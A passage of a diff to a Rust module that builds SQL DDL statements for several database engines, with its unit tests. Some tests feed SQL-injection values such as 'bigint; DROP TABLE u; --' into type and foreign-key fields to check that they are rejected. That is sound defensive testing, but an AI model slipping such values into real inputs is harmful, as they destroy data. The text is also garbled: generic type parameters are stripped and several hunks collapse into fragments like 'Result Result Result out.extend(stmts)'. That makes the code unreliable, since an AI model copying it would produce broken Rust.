new_name) - )) + Ok(ddl_of(driver_id, dialect)?.rename_table(dialect, &table_ref(schema, old_name), new_name.trim())) } /// Add one column. Returns more than one statement where the engine @@ -727,6 +759,7 @@ pub fn build_drop_column( pub fn build_rename_column( driver_id: &str, + dialect: &dyn SqlDialect, schema: Option<&str>, table: &str, old_name: &str, @@ -735,22 +768,7 @@ pub fn build_rename_column( validate_table(table)?; validate_column_name(old_name)?; validate_column_name(new_name)?; - if driver_id == "mssql" { - // Same string-literal escaping requirement as build_rename_table. - let object_name = sql_literal(&format!( - "{}.{}", - qualified_table(driver_id, schema, table), - quote_ident(driver_id, old_name) - )); - let new_bare = sql_literal(new_name.trim()); - return Ok(format!("EXEC sp_rename '{}', '{}', 'COLUMN'", object_name, new_bare)); - } - Ok(format!( - "ALTER TABLE {} RENAME COLUMN {} TO {}", - qualified_table(driver_id, schema, table), - quote_ident(driver_id, old_name), - quote_ident(driver_id, new_name) - )) + Ok(ddl_of(driver_id, dialect)?.rename_column(dialect, &table_ref(schema, table), old_name, new_name)) } /// Apply column type / nullable / default changes. Returns one or @@ -767,6 +785,7 @@ pub fn build_rename_column( /// - **SQLite**: not supported; returns `SqliteNotSupported`. pub fn build_alter_column( driver_id: &str, + dialect: &dyn SqlDialect, schema: Option<&str>, table: &str, column: &DraftColumn, @@ -774,6 +793,19 @@ pub fn build_alter_column( validate_table(table)?; validate_column_name(&column.name)?; let qualified = qualified_table(driver_id, schema, table); + let original = column.original.as_ref(); + let type_changed = original + .map(|o| declared_type(&o.info.column_type) != column.data_type) + .unwrap_or(true); + let nullable_changed = original.map(|o| o.info.nullable != column.nullable).unwrap_or(false); + let default_changed = original + .map(|o| default_text(&o.info.default).as_deref() != column.default_value.as_deref()) + .unwrap_or(column.default_value.is_some()); + // Only an existing column has a default to drop. + let drop_default = || -> Result, BuildDdlError> { + let ddl = ddl_of(driver_id, dialect)?; + Ok(original.and_then(|o| ddl.drop_column_default(dialect, &table_ref(schema, table), &column.name, o))) + }; match driver_id { "mysql" => { // MySQL's MODIFY COLUMN replaces the whole column @@ -793,14 +825,6 @@ pub fn build_alter_column( // returned only the first changed attribute (type wins // over nullable wins over default), silently losing the // user's other edits when more than one attribute moved. - let original = column.original.as_ref(); - let type_changed = original - .map(|o| o.column_type.name().as_sql() != column.data_type) - .unwrap_or(true); - let nullable_changed = original.map(|o| o.nullable != column.nullable).unwrap_or(false); - let default_changed = original - .map(|o| default_text(&o.default).as_deref() != column.default_value.as_deref()) - .unwrap_or(column.default_value.is_some()); let mut stmts: Vec = Vec::new(); if type_changed { validate_safe_type(&column.data_type)?; @@ -829,19 +853,15 @@ pub fn build_alter_column( }); } if default_changed { - stmts.push(match validated_default(column.default_value.as_deref())? { - Some(default) => format!( + match validated_default(column.default_value.as_deref())? { + Some(default) => stmts.push(format!( "ALTER TABLE {} ALTER COLUMN {} SET DEFAULT {}", qualified, quote_ident(driver_id, &column.name), default - ), - None => format!( - "ALTER TABLE {} ALTER COLUMN {} DROP DEFAULT", - qualified, - quote_ident(driver_id, &column.name) - ), - }); + )), + None => stmts.extend(drop_default()?), + } } if comment_changed(column) { stmts.extend(build_column_comment(driver_id, schema, table, column)); @@ -854,15 +874,14 @@ pub fn build_alter_column( Ok(stmts) } "mssql" => { - let original = column.original.as_ref(); - let type_changed = original - .map(|o| o.column_type.name().as_sql() != column.data_type) - .unwrap_or(true); - let nullable_changed = original.map(|o| o.nullable != column.nullable).unwrap_or(false); - let default_changed = original - .map(|o| default_text(&o.default).as_deref() != column.default_value.as_deref()) - .unwrap_or(column.default_value.is_some()); let mut stmts: Vec = Vec::new(); + // A default is a separate named constraint here, not a + // column attribute, so changing one is drop-then-add. The + // drop goes first: a column bound to a default cannot change + // type. + if default_changed { + stmts.extend(drop_default()?); + } // ALTER COLUMN carries type and nullability together: T-SQL // reads an omitted NULL / NOT NULL as NULL, so a type-only // change has to restate the nullability or it would silently @@ -878,20 +897,13 @@ pub fn build_alter_column( nullability )); } - if default_changed { - // A default is a separate named constraint here, not a - // column attribute, so changing one is drop-then-add. - // The existing constraint's name is generated by the - // server, so the drop resolves it from the catalog. - stmts.push(mssql_drop_default_constraint(driver_id, schema, table, &column.name)); - if let Some(default) = validated_default(column.default_value.as_deref())? { - stmts.push(format!( - "ALTER TABLE {} ADD DEFAULT ({}) FOR {}", - qualified, - default, - quote_ident(driver_id, &column.name) - )); - } + if default_changed && let Some(default) = validated_default(column.default_value.as_deref())? { + stmts.push(format!( + "ALTER TABLE {} ADD DEFAULT ({}) FOR {}", + qualified, + default, + quote_ident(driver_id, &column.name) + )); } if comment_changed(column) { stmts.extend(build_column_comment(driver_id, schema, table, column)); @@ -945,11 +957,26 @@ pub fn build_create_index( if index.name.trim().is_empty() { return Err(BuildDdlError::EmptyIndexName); } - if index.columns.is_empty() { + if index.keys.is_empty() { return Err(BuildDdlError::NoColumns); } + // An expression key or a predicate is catalog text this builder + // would have to paste in unparsed, so it refuses rather than guess. + if index.predicate.is_some() { + return Err(BuildDdlError::UnrenderableIndex(index.name.clone())); + } let unique = if index.unique { "UNIQUE " } else { "" }; - let cols: Vec = index.columns.iter().map(|c| quote_ident(driver_id, c)).collect(); + let cols = index + .keys + .iter() + .map(|key| match key { + IndexKey::Column { name, descending } => { + let direction = if *descending { " DESC" } else { "" }; + Ok(format!("{}{direction}", quote_ident(driver_id, name))) + } + IndexKey::Expression { .. } => Err(BuildDdlError::UnrenderableIndex(index.name.clone())), + }) + .collect::, BuildDdlError>>()?; let qualified = qualified_table(driver_id, schema, table); // MySQL does not accept schema prefix on the index name, and // CREATE INDEX scopes to the table by default. Postgres / SQLite @@ -1024,12 +1051,12 @@ pub fn build_add_foreign_key( ref_table, ref_cols.join(", "), )]; - if let Some(raw) = fk.on_delete.as_deref().filter(|a| !a.is_empty()) { - let action = validate_fk_action(driver_id, raw)?; + if let Some(action) = fk.on_delete { + let action = validate_fk_action(driver_id, action)?; clauses.push(format!("ON DELETE {action}")); } - if let Some(raw) = fk.on_update.as_deref().filter(|a| !a.is_empty()) { - let action = validate_fk_action(driver_id, raw)?; + if let Some(action) = fk.on_update { + let action = validate_fk_action(driver_id, action)?; clauses.push(format!("ON UPDATE {action}")); } Ok(clauses.join(" ")) @@ -1071,7 +1098,7 @@ pub fn build_drop_foreign_key( /// truth, ops are derived at materialize time. /// /// Identity rules: -/// - Columns matched by `DraftColumn.original.name`. Newly-added +/// - Columns matched by `DraftColumn.original`'s name. Newly-added /// columns (`original = None`) emit `AddColumn`. Originals with no /// matching draft emit `DropColumn`. Drafts whose attributes /// differ from `original` emit `AlterColumn`. @@ -1086,7 +1113,7 @@ pub fn diff_to_ops( schema: Option<&str>, original_table: &str, current_table: &str, - original_columns: &[ColumnInfo], + original_columns: &[ColumnDefinition], current_columns: &[DraftColumn], original_indexes: &[IndexInfo], current_indexes: &[IndexInfo], @@ -1143,12 +1170,12 @@ pub fn diff_to_ops( for orig in original_columns { let still_present = current_columns .iter() - .any(|c| c.original.as_ref().map(|o| o.name == orig.name).unwrap_or(false)); + .any(|c| c.original.as_ref().is_some_and(|o| o.name() == orig.name())); if !still_present { ops.push(StructureOp::DropColumn { schema: schema_owned.clone(), table: table.clone(), - column_name: orig.name.clone(), + column_name: orig.name().to_owned(), }); } } @@ -1161,7 +1188,7 @@ pub fn diff_to_ops( ops.push(StructureOp::RenameColumn { schema: schema_owned.clone(), table: table.clone(), - old_name: orig.name.clone(), + old_name: orig.name().to_owned(), new_name: col.name.clone(), }); } @@ -1227,7 +1254,11 @@ pub fn diff_to_ops( /// keeps the diff side pure and the SQL side driver-aware. /// /// `New`-mode `CreateTable` short-circuits the phased pipeline. -pub fn materialize_ops(ops: &[StructureOp], driver_id: &str) -> Result, BuildDdlError> { +pub fn materialize_ops( + ops: &[StructureOp], + driver_id: &str, + dialect: &dyn SqlDialect, +) -> Result, BuildDdlError> { if let Some(StructureOp::CreateTable { schema, table, @@ -1249,7 +1280,13 @@ pub fn materialize_ops(ops: &[StructureOp], driver_id: &str) -> Result Result Result out.extend(stmts), Err(BuildDdlError::NoChange) => {} Err(e) => return Err(e), @@ -1324,18 +1362,35 @@ pub fn materialize_ops(ops: &[StructureOp], driver_id: &str) -> Result TestDialect { + TestDialect::exact() + } + + fn defined(info: ColumnInfo) -> ColumnDefinition { + ColumnDefinition::new(info, ColumnAttributes::default()) + } /// A column type carrying only the server's spelling, which is all /// the DDL builder reads. fn test_column_type(name: &str) -> ColumnType { - ColumnType::new( - SqlTypeExpr::from_catalog_text(name), - ColumnKind::Text(TextKind::Variable), - CatalogType::Unknown, - true, - ReadForm::Native, - ) + ColumnType { + name: name.to_owned(), + kind: ColumnKind::Text { + length: TextLength::Unbounded, + }, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text(name), + cast_target: SqlTypeExpr::from_catalog_text(name), + }), + dynamic_storage: true, + read_form: ReadForm::Native, + } } use super::*; @@ -1384,7 +1439,7 @@ mod tests { fn edited_with_comment(original_name: &str, ty: &str, comment: &str) -> DraftColumn { let mut col = edited(original_name, ty); if let Some(original) = col.original.as_mut() { - original.comment = Some(comment.into()); + original.info.comment = Some(comment.into()); } col.comment = Some(comment.into()); col @@ -1394,7 +1449,7 @@ mod tests { /// loaded column. fn edited(original_name: &str, ty: &str) -> DraftColumn { DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: original_name.into(), column_type: test_column_type(ty), nullable: true, @@ -1403,7 +1458,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: original_name.into(), data_type: ty.into(), nullable: true, @@ -1414,6 +1469,14 @@ mod tests { } } + #[test] + fn each_engine_quotes_identifiers_the_way_it_reads() { + assert_eq!(quote_ident("postgres", "a\"b"), "\"a\"\"b\""); + assert_eq!(quote_ident("mysql", "a`b"), "`a``b`"); + assert_eq!(quote_ident("mssql", "a]b"), "[a]]b]"); + assert_eq!(quote_ident("clickhouse", "a\\`b"), "`a\\\\\\`b`"); + } + #[test] fn renaming_a_column_emits_a_rename() { let mut draft = edited("old_name", "text"); @@ -1439,8 +1502,8 @@ mod tests { draft.name = "new_name".into(); let ops = diff_to_ops(None, "t", "t", &[], &[draft], &[], &[], &[], &[]); - for driver in ["postgres", "mysql", "sqlite"] { - let sql = materialize_ops(&ops, driver).expect("the rename builds"); + for driver in ["postgres", "mysql", "sqlite", "mssql"] { + let sql = materialize_ops(&ops, driver, &ansi()).expect("the rename builds"); assert_eq!(sql.len(), 1, "{driver} emitted {sql:?}"); assert!( sql[0].contains("RENAME COLUMN") && sql[0].contains("new_name"), @@ -1448,9 +1511,6 @@ mod tests { sql[0] ); } - - let mssql = materialize_ops(&ops, "mssql").expect("the rename builds"); - assert!(mssql[0].starts_with("EXEC sp_rename"), "{:?}", mssql[0]); } #[test] @@ -1462,7 +1522,7 @@ mod tests { draft.data_type = "varchar(20)".into(); let ops = diff_to_ops(None, "t", "t", &[], &[draft], &[], &[], &[], &[]); - let sql = materialize_ops(&ops, "postgres").expect("the change builds"); + let sql = materialize_ops(&ops, "postgres", &ansi()).expect("the change builds"); let rename = sql.iter().position(|s| s.contains("RENAME COLUMN")); let alter = sql.iter().position(|s| s.contains("TYPE varchar(20)")); @@ -1557,12 +1617,7 @@ mod tests { #[test] fn create_table_with_secondary_index() { let cols = vec![nn(pk(ai(dc("id", "integer")))), nn(dc("email", "text"))]; - let idx = IndexInfo { - name: "users_email_idx".into(), - columns: vec!["email".into()], - unique: true, - primary: false, - }; + let idx = index("users_email_idx", &["email"], true, false); let stmts = build_create_table("postgres", None, "users", &cols, &[idx], &[]).unwrap(); assert_eq!(stmts.len(), 2); assert!(stmts[1].contains("CREATE UNIQUE INDEX")); @@ -1572,12 +1627,7 @@ mod tests { #[test] fn create_table_skips_primary_index() { let cols = vec![nn(pk(ai(dc("id", "integer"))))]; - let pk_idx = IndexInfo { - name: "users_pkey".into(), - columns: vec!["id".into()], - unique: true, - primary: true, - }; + let pk_idx = index("users_pkey", &["id"], true, true); let stmts = build_create_table("postgres", None, "users", &cols, &[pk_idx], &[]).unwrap(); assert_eq!(stmts.len(), 1, "primary index must not produce a separate CREATE INDEX"); } @@ -1591,7 +1641,7 @@ mod tests { ref_schema: None, ref_table: "users".into(), ref_columns: vec!["id".into()], - on_delete: Some("CASCADE".into()), + on_delete: Some(ReferentialAction::Cascade), on_update: None, }; let stmts = build_create_table("postgres", None, "orders", &cols, &[], &[fk]).unwrap(); @@ -1673,40 +1723,22 @@ mod tests { } #[test] - fn rename_table_each_driver() { - assert_eq!( - build_rename_table("postgres", None, "old", "new").unwrap(), - "ALTER TABLE \"old\" RENAME TO \"new\"" - ); + fn rename_table_goes_through_the_engine_ddl() { assert_eq!( - build_rename_table("mysql", None, "old", "new").unwrap(), - "ALTER TABLE `old` RENAME TO `new`" - ); - assert_eq!( - build_rename_table("sqlite", None, "old", "new").unwrap(), - "ALTER TABLE \"old\" RENAME TO \"new\"" + build_rename_table("postgres", &ansi(), Some(" app "), " old ", "new").unwrap(), + "ALTER TABLE \"app\".\"old\" RENAME TO \"new\"" ); } #[test] - fn rename_table_mssql() { - assert_eq!( - build_rename_table("mssql", None, "old", "new").unwrap(), - "EXEC sp_rename '[old]', 'new'" - ); - assert_eq!( - build_rename_table("mssql", Some("dbo"), "old", "new").unwrap(), - "EXEC sp_rename '[dbo].[old]', 'new'" - ); - } + fn an_engine_without_ddl_renames_nothing() { + let no_ddl = TestDialect::exact().without_ddl(); - #[test] - fn rename_table_mssql_escapes_embedded_quote() { - // sp_rename's arguments are SQL string literals; an embedded - // `'` in a name must be doubled or it would close the literal - // early and splice the remainder in as a second statement. - let sql = build_rename_table("mssql", None, "o'brien", "new'table").unwrap(); - assert_eq!(sql, "EXEC sp_rename '[o''brien]', 'new''table'"); + assert!(matches!( + build_rename_table("postgres", &no_ddl, None, "old", "new"), + Err(BuildDdlError::UnsupportedDriver(_)) + )); + assert!(build_rename_table("postgres", &ansi(), None, " ", "new").is_err()); } #[test] @@ -1768,39 +1800,17 @@ mod tests { } #[test] - fn rename_column_each_driver() { + fn rename_column_goes_through_the_engine_ddl() { assert_eq!( - build_rename_column("postgres", None, "t", "old", "new").unwrap(), + build_rename_column("postgres", &ansi(), None, "t", "old", "new").unwrap(), "ALTER TABLE \"t\" RENAME COLUMN \"old\" TO \"new\"" ); - assert_eq!( - build_rename_column("mysql", None, "t", "old", "new").unwrap(), - "ALTER TABLE `t` RENAME COLUMN `old` TO `new`" - ); - } - - #[test] - fn rename_column_mssql() { - assert_eq!( - build_rename_column("mssql", None, "t", "old", "new").unwrap(), - "EXEC sp_rename '[t].[old]', 'new', 'COLUMN'" - ); - assert_eq!( - build_rename_column("mssql", Some("dbo"), "t", "old", "new").unwrap(), - "EXEC sp_rename '[dbo].[t].[old]', 'new', 'COLUMN'" - ); - } - - #[test] - fn rename_column_mssql_escapes_embedded_quote() { - let sql = build_rename_column("mssql", None, "t", "o'brien", "new'name").unwrap(); - assert_eq!(sql, "EXEC sp_rename '[t].[o''brien]', 'new''name', 'COLUMN'"); } #[test] fn alter_column_postgres_type_change() { let col = DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: "x".into(), column_type: test_column_type("integer"), nullable: true, @@ -1809,7 +1819,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: "x".into(), data_type: "bigint".into(), nullable: true, @@ -1818,7 +1828,7 @@ mod tests { default_value: None, comment: None, }; - let stmts = build_alter_column("postgres", None, "t", &col).unwrap(); + let stmts = build_alter_column("postgres", &ansi(), None, "t", &col).unwrap(); let joined = stmts.join("\n"); assert!(joined.contains("TYPE bigint")); assert!(joined.contains("USING \"x\"::bigint")); @@ -1827,7 +1837,7 @@ mod tests { #[test] fn alter_column_postgres_nullable_change() { let col = DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: "x".into(), column_type: test_column_type("text"), nullable: true, @@ -1836,7 +1846,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: "x".into(), data_type: "text".into(), nullable: false, @@ -1845,14 +1855,14 @@ mod tests { default_value: None, comment: None, }; - let stmts = build_alter_column("postgres", None, "t", &col).unwrap(); + let stmts = build_alter_column("postgres", &ansi(), None, "t", &col).unwrap(); assert!(stmts.iter().any(|s| s.contains("SET NOT NULL"))); } #[test] fn alter_column_postgres_default_change() { let col = DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: "x".into(), column_type: test_column_type("text"), nullable: true, @@ -1861,7 +1871,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: "x".into(), data_type: "text".into(), nullable: true, @@ -1870,14 +1880,31 @@ mod tests { default_value: Some("'pending'".into()), comment: None, }; - let stmts = build_alter_column("postgres", None, "t", &col).unwrap(); + let stmts = build_alter_column("postgres", &ansi(), None, "t", &col).unwrap(); assert!(stmts.iter().any(|s| s.contains("SET DEFAULT 'pending'"))); } + #[test] + fn clearing_a_default_drops_it_by_the_column_s_new_name() { + let mut col = edited("old_name", "text"); + if let Some(original) = col.original.as_mut() { + original.info.default = + crate::column::ColumnDefault::Expression(crate::column::SqlExpression::from_catalog_text("now()")); + } + col.name = "new_name".into(); + + let stmts = build_alter_column("postgres", &ansi(), None, "t", &col).unwrap(); + + assert_eq!( + stmts, + vec!["ALTER TABLE \"t\" ALTER COLUMN \"new_name\" DROP DEFAULT".to_owned()] + ); + } + #[test] fn alter_column_mysql_modify_full_def() { let col = nn(def(dc("status", "VARCHAR(64)"), "'open'")); - let stmts = build_alter_column("mysql", None, "t", &col).unwrap(); + let stmts = build_alter_column("mysql", &ansi(), None, "t", &col).unwrap(); assert_eq!(stmts.len(), 1); assert_eq!( stmts[0], @@ -1888,7 +1915,7 @@ mod tests { #[test] fn alter_column_postgres_emits_three_statements_when_all_change() { let col = DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: "x".into(), column_type: test_column_type("integer"), nullable: true, @@ -1897,7 +1924,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: "x".into(), data_type: "bigint".into(), nullable: false, @@ -1906,7 +1933,7 @@ mod tests { default_value: Some("'fallback'".into()), comment: None, }; - let stmts = build_alter_column("postgres", None, "t", &col).unwrap(); + let stmts = build_alter_column("postgres", &ansi(), None, "t", &col).unwrap(); // Type, nullable AND default all changed — all three must // emit. Previously the early-return cascade lost the latter // two. @@ -1919,14 +1946,14 @@ mod tests { #[test] fn alter_column_sqlite_rejected() { let col = dc("x", "TEXT"); - let err = build_alter_column("sqlite", None, "t", &col).unwrap_err(); + let err = build_alter_column("sqlite", &ansi(), None, "t", &col).unwrap_err(); assert!(matches!(err, BuildDdlError::SqliteNotSupported(_))); } #[test] fn alter_column_mssql_type_and_nullable_change() { let col = DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: "x".into(), column_type: test_column_type("int"), nullable: true, @@ -1935,7 +1962,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: "x".into(), data_type: "int".into(), nullable: false, @@ -1944,102 +1971,15 @@ mod tests { default_value: None, comment: None, }; - let stmts = build_alter_column("mssql", None, "t", &col).unwrap(); + let stmts = build_alter_column("mssql", &ansi(), None, "t", &col).unwrap(); assert_eq!(stmts.len(), 1); assert_eq!(stmts[0], "ALTER TABLE [t] ALTER COLUMN [x] int NOT NULL"); } - #[test] - fn alter_column_mssql_default_only_replaces_the_constraint() { - let col = DraftColumn { - original: Some(ColumnInfo { - name: "x".into(), - column_type: test_column_type("text"), - nullable: true, - primary_key: false, - is_auto_increment: false, - default: crate::column::ColumnDefault::None, - is_generated: false, - comment: None, - }), - name: "x".into(), - data_type: "text".into(), - nullable: true, - primary_key: false, - auto_increment: false, - default_value: Some("'pending'".into()), - comment: None, - }; - let stmts = build_alter_column("mssql", None, "t", &col).unwrap(); - assert_eq!(stmts.len(), 2); - assert!(!stmts[0].contains("ALTER COLUMN")); - assert!(stmts[0].contains("sys.default_constraints")); - assert!(stmts[0].contains("OBJECT_ID('[t]')")); - assert!(stmts[0].contains("c.name = 'x'")); - assert_eq!(stmts[1], "ALTER TABLE [t] ADD DEFAULT ('pending') FOR [x]"); - } - - #[test] - fn alter_column_mssql_clearing_a_default_only_drops() { - let col = DraftColumn { - original: Some(ColumnInfo { - name: "x".into(), - column_type: test_column_type("text"), - nullable: true, - primary_key: false, - is_auto_increment: false, - default: crate::column::ColumnDefault::Expression(crate::column::SqlExpression::from_catalog_text( - "'pending'", - )), - is_generated: false, - comment: None, - }), - name: "x".into(), - data_type: "text".into(), - nullable: true, - primary_key: false, - auto_increment: false, - default_value: None, - comment: None, - }; - let stmts = build_alter_column("mssql", None, "t", &col).unwrap(); - assert_eq!(stmts.len(), 1); - assert!(stmts[0].contains("DROP CONSTRAINT")); - assert!(!stmts[0].contains("ADD DEFAULT")); - } - - #[test] - fn alter_column_mssql_applies_default_alongside_type_change() { - let col = DraftColumn { - original: Some(ColumnInfo { - name: "x".into(), - column_type: test_column_type("int"), - nullable: true, - primary_key: false, - is_auto_increment: false, - default: crate::column::ColumnDefault::None, - is_generated: false, - comment: None, - }), - name: "x".into(), - data_type: "bigint".into(), - nullable: true, - primary_key: false, - auto_increment: false, - default_value: Some("0".into()), - comment: None, - }; - let stmts = build_alter_column("mssql", None, "t", &col).unwrap(); - assert_eq!(stmts.len(), 3); - assert_eq!(stmts[0], "ALTER TABLE [t] ALTER COLUMN [x] bigint NULL"); - assert!(stmts[1].contains("DROP CONSTRAINT")); - assert_eq!(stmts[2], "ALTER TABLE [t] ADD DEFAULT (0) FOR [x]"); - } - #[test] fn alter_column_mssql_unchanged_is_no_change() { let col = DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: "x".into(), column_type: test_column_type("int"), nullable: true, @@ -2048,7 +1988,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: "x".into(), data_type: "int".into(), nullable: true, @@ -2057,36 +1997,10 @@ mod tests { default_value: None, comment: None, }; - let err = build_alter_column("mssql", None, "t", &col).unwrap_err(); + let err = build_alter_column("mssql", &ansi(), None, "t", &col).unwrap_err(); assert!(matches!(err, BuildDdlError::NoChange)); } - #[test] - fn alter_column_mssql_drop_default_escapes_literals() { - let col = DraftColumn { - original: Some(ColumnInfo { - name: "o'brien".into(), - column_type: test_column_type("int"), - nullable: true, - primary_key: false, - is_auto_increment: false, - default: crate::column::ColumnDefault::Expression(crate::column::SqlExpression::from_catalog_text("0")), - is_generated: false, - comment: None, - }), - name: "o'brien".into(), - data_type: "int".into(), - nullable: true, - primary_key: false, - auto_increment: false, - default_value: None, - comment: None, - }; - let stmts = build_alter_column("mssql", Some("s'x"), "t'q", &col).unwrap(); - assert!(stmts[0].contains("OBJECT_ID('[s''x].[t''q]')")); - assert!(stmts[0].contains("c.name = 'o''brien'")); - } - #[test] fn reorder_column_mysql() { let col = nn(dc("status", "VARCHAR(64)")); @@ -2118,14 +2032,58 @@ mod tests { assert!(matches!(err, BuildDdlError::UnsupportedDriver(_))); } + fn index(name: &str, columns: &[&str], unique: bool, primary: bool) -> IndexInfo { + IndexInfo { + name: name.to_owned(), + keys: columns + .iter() + .map(|column| IndexKey::Column { + name: (*column).to_owned(), + descending: false, + }) + .collect(), + unique, + primary, + predicate: None, + } + } + + #[test] + fn create_index_keeps_a_descending_key() { + let mut idx = index("recent_first", &["created_at"], false, false); + idx.keys = vec![IndexKey::Column { + name: "created_at".to_owned(), + descending: true, + }]; + + assert_eq!( + build_create_index("postgres", None, "events", &idx).unwrap(), + "CREATE INDEX \"recent_first\" ON \"events\" (\"created_at\" DESC)" + ); + } + + #[test] + fn create_index_refuses_what_it_would_paste_unparsed() { + let mut functional = index("by_lower_email", &[], true, false); + functional.keys = vec![IndexKey::Expression { + sql: "lower(email)".to_owned(), + descending: false, + }]; + let mut partial = index("live_email", &["email"], true, false); + partial.predicate = Some("deleted_at IS NULL".to_owned()); + + for idx in [functional, partial] { + let err = build_create_index("postgres", None, "users", &idx).unwrap_err(); + assert!( + matches!(&err, BuildDdlError::UnrenderableIndex(name) if *name == idx.name), + "got {err:?}" + ); + } + } + #[test] fn create_index_basic() { - let idx = IndexInfo { - name: "users_email_idx".into(), - columns: vec!["email".into()], - unique: true, - primary: false, - }; + let idx = index("users_email_idx", &["email"], true, false); assert_eq!( build_create_index("postgres", None, "users", &idx).unwrap(), "CREATE UNIQUE INDEX \"users_email_idx\" ON \"users\" (\"email\")" @@ -2134,36 +2092,21 @@ mod tests { #[test] fn create_index_compound_columns() { - let idx = IndexInfo { - name: "idx_a_b".into(), - columns: vec!["a".into(), "b".into()], - unique: false, - primary: false, - }; + let idx = index("idx_a_b", &["a", "b"], false, false); let sql = build_create_index("mysql", None, "t", &idx).unwrap(); assert_eq!(sql, "CREATE INDEX `idx_a_b` ON `t` (`a`, `b`)"); } #[test] fn create_index_rejects_empty_name() { - let idx = IndexInfo { - name: "".into(), - columns: vec!["x".into()], - unique: false, - primary: false, - }; + let idx = index("", &["x"], false, false); let err = build_create_index("postgres", None, "t", &idx).unwrap_err(); assert!(matches!(err, BuildDdlError::EmptyIndexName)); } #[test] fn create_index_mssql() { - let idx = IndexInfo { - name: "idx_a_b".into(), - columns: vec!["a".into(), "b".into()], - unique: true, - primary: false, - }; + let idx = index("idx_a_b", &["a", "b"], true, false); let sql = build_create_index("mssql", None, "t", &idx).unwrap(); assert_eq!(sql, "CREATE UNIQUE INDEX [idx_a_b] ON [t] ([a], [b])"); } @@ -2207,8 +2150,8 @@ mod tests { ref_schema: None, ref_table: "users".into(), ref_columns: vec!["id".into()], - on_delete: Some("CASCADE".into()), - on_update: Some("RESTRICT".into()), + on_delete: Some(ReferentialAction::Cascade), + on_update: Some(ReferentialAction::Restrict), } } @@ -2242,7 +2185,7 @@ mod tests { #[test] fn add_foreign_key_mssql() { let mut fk = fk_basic(); - fk.on_update = Some("NO ACTION".into()); + fk.on_update = Some(ReferentialAction::NoAction); let sql = build_add_foreign_key("mssql", None, "orders", &fk).unwrap(); assert!(sql.contains("ADD CONSTRAINT [fk_user]")); assert!(sql.contains("FOREIGN KEY ([user_id])")); @@ -2258,8 +2201,8 @@ mod tests { // never offers it. let err = build_add_foreign_key("mssql", None, "orders", &fk_basic()).unwrap_err(); assert!(matches!(err, BuildDdlError::InvalidFkAction(a) if a == "RESTRICT")); - assert!(!supported_fk_actions("mssql").contains(&"RESTRICT")); - assert!(supported_fk_actions("postgres").contains(&"RESTRICT")); + assert!(!supported_fk_actions("mssql").contains(&ReferentialAction::Restrict)); + assert!(supported_fk_actions("postgres").contains(&ReferentialAction::Restrict)); } #[test] @@ -2307,24 +2250,6 @@ mod tests { assert!(matches!(err, BuildDdlError::UnsafeDefault(_)), "got {err:?}"); } - #[test] - fn rejects_unknown_fk_action() { - let mut fk = fk_basic(); - fk.on_delete = Some("DROP TABLE u; --".into()); - let err = build_add_foreign_key("postgres", None, "t", &fk).unwrap_err(); - assert!(matches!(err, BuildDdlError::InvalidFkAction(_)), "got {err:?}"); - } - - #[test] - fn fk_action_canonicalised_case_insensitive() { - let mut fk = fk_basic(); - fk.on_delete = Some("cascade".into()); - fk.on_update = Some("Set Null".into()); - let sql = build_add_foreign_key("postgres", None, "t", &fk).unwrap(); - assert!(sql.contains("ON DELETE CASCADE")); - assert!(sql.contains("ON UPDATE SET NULL")); - } - #[test] fn rejects_unicode_line_separator_in_type() { let mut col = dc("x", "INT\u{2028}; DROP TABLE u; --"); @@ -2367,7 +2292,7 @@ mod tests { #[test] fn alter_column_postgres_rejects_injection_in_type() { let col = DraftColumn { - original: Some(ColumnInfo { + original: Some(defined(ColumnInfo { name: "x".into(), column_type: test_column_type("integer"), nullable: true, @@ -2376,7 +2301,7 @@ mod tests { default: crate::column::ColumnDefault::None, is_generated: false, comment: None, - }), + })), name: "x".into(), data_type: "bigint; DROP TABLE u; --".into(), nullable: true, @@ -2385,7 +2310,7 @@ mod tests { default_value: None, comment: None, }; - let err = build_alter_column("postgres", None, "t", &col).unwrap_err(); + let err = build_alter_column("postgres", &ansi(), None, "t", &col).unwrap_err(); assert!(matches!(err, BuildDdlError::UnsafeType(_)), "got {err:?}"); } @@ -2397,57 +2322,12 @@ mod tests { assert!(sql.contains("\"a\"\"b\".\"c\"\"d\"")); } - #[test] - fn materialize_ops_mssql_orders_rename_alter_then_add() { - let ops = vec![ - StructureOp::RenameTable { - schema: None, - old_name: "old_t".into(), - new_name: "new_t".into(), - }, - StructureOp::AlterColumn { - schema: None, - table: "new_t".into(), - column: DraftColumn { - original: Some(ColumnInfo { - name: "x".into(), - column_type: test_column_type("text"), - nullable: true, - primary_key: false, - is_auto_increment: false, - default: crate::column::ColumnDefault::None, - is_generated: false, - comment: None, - }), - name: "x".into(), - data_type: "text".into(), - nullable: true, - primary_key: false, - auto_increment: false, - default_value: Some("'x'".into()), - comment: None, - }, - }, - StructureOp::AddColumn { - schema: None, - table: "new_t".into(), - column: nn(dc("flag", "BIT")), - }, - ]; - let stmts = materialize_ops(&ops, "mssql").unwrap(); - assert_eq!(stmts.len(), 4); - assert_eq!(stmts[0], "EXEC sp_rename '[old_t]', 'new_t'"); - assert!(stmts[1].contains("DROP CONSTRAINT")); - assert_eq!(stmts[2], "ALTER TABLE [new_t] ADD DEFAULT ('x') FOR [x]"); - assert_eq!(stmts[3], "ALTER TABLE [new_t] ADD [flag] BIT NOT NULL"); - } - #[test] fn postgres_writes_a_column_comment_as_its_own_statement() { let mut col = edited("email", "text"); 